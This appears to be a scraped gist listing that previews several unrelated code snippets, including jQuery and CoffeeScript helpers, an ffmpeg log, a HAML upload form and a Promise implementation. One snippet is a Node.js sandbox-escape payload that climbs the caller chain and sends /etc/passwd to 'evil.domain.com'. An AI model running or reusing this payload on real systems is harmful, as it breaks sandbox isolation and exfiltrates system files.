This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $('[datetime]').each(function() { $('<p>'+new Date($(this).attr('datetime'))+'</p>').insertAfter($(this))}) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| May 14 13:05:52 riktig.bengler.no: Running command: ffmpeg -i '/tmp/tootsie20130514-15492-1exldxc' -threads '1' -v '1' -y -acodec 'libmp3lame' -ar '44100' -ab '128000' -qscale '1.0' -f 'mp3' '/tmp/tootsie20130514-15492-1wksk7d' 2>&1 | |
| May 14 13:05:53 riktig.bengler.no: [Command output] Stream mapping: | |
| May 14 13:05:53 riktig.bengler.no: [Command output] Stream #0.0 -> #0.0 | |
| May 14 13:05:53 riktig.bengler.no: [Command output] Press ctrl-c to stop encoding | |
| May 14 13:05:53 riktig.bengler.no: [Command output] Error while decoding stream #0.0 | |
| May 14 13:06:05 riktig.bengler.no: [Command output] size= 168kB time=10.74 bitrate= 128.1kbits/s | |
| May 14 13:06:05 riktig.bengler.no: [Command output] size= 319kB time=20.40 bitrate= 128.1kbits/s | |
| May 14 13:06:05 riktig.bengler.no: [Command output] size= 474kB time=30.30 bitrate= 128.0kbits/s | |
| May 14 13:06:05 riktig.bengler.no: [Command output] size= 641kB time=41.04 bitrate= 128.0kbits/s | |
| May 14 13:06:05 riktig.bengler.no: [Command output] size= 804kB time=51.44 b |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (function ($) { | |
| // Tha popup component | |
| var Popup = (function () { | |
| // Constrain the popup to be within this margin of the page | |
| var margin = {top: 10, bottom: 30}; | |
| // Get current viewport | |
| function getViewport() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| %form(id="uploadform" action="/images/upload" method="post") | |
| File: | |
| %input(type="file" name="file") | |
| %button.upload(type="button") Upload | |
| .image_container | |
| .progress.active | |
| .bar |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| HumanDate.relative(DateTime.parse("August 23, 2012 00:00:00 UTC"), :today => DateTime.parse("2012-08-23")).should eq "i dag" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var func = arguments.callee.caller.arguments.callee.caller.arguments.callee.caller.arguments.callee.arguments.callee.caller.arguments.callee.caller; | |
| func.call(func, "var fs = process.mainModule.require('fs');var http = process.mainModule.require('http');var req = http.request({host: 'evil.domain.com'}); req.write(fs.readFileSync('/etc/passwd').toString());req.end();"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Cross browser xmlhttprequest function (based on http://www.quirksmode.org/js/xmlhttp.html) | |
| xhrGet = do -> | |
| XMLHttpFactories = [ | |
| -> new XMLHttpRequest() | |
| -> new ActiveXObject("Msxml2.XMLHTTP") | |
| -> new ActiveXObject("Msxml3.XMLHTTP") | |
| -> new ActiveXObject("Microsoft.XMLHTTP")] | |
| createXHR = -> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| after = (ms, func) -> | |
| setTimeout func, ms | |
| after 200, -> | |
| console.log "200 milliseconds passed" | |
| after 400, -> | |
| console.log "400 milliseconds passed" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var Promise = (function() { | |
| var api_tuples = {notify: 'progress', resolve: 'then', reject: 'fail', done: 'always' }, // all (action, callback_adder)-tuples) | |
| isFunction = function(obj) { | |
| return Object.prototype.toString.call(obj) == '[object Function]'; | |
| }, | |
| slice = Array.prototype.slice, | |
| each_pair = function(obj, callback) { | |
| Object.keys(obj).forEach(function(key) { callback(key, obj[key]); }); | |
| }, | |
| invokeEach = function(funcs) { |